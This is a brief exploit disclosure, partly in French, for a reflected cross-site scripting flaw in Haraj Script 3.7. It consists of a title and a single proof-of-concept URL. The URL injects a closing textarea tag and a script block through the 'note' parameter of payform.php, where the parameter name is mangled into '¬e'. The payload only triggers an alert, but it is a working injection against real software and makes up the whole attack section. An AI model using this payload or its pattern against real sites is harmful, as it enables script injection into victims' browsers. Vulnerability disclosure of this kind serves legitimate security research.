
Script Haraj 3.7 - XSS réfléchi
Haraj Script 3.7 - XSS Réfléchi
[#] Exploitation :
https://localhost/harajnext/payform.php?type=upgrade&upgradeid=1&upgradegd=6&price=123&t=1¬e=%3C/textarea%3E%3Cscript%3Ealert(String.fromCharCode(98,52,122,98,48,122))%3C/script%3E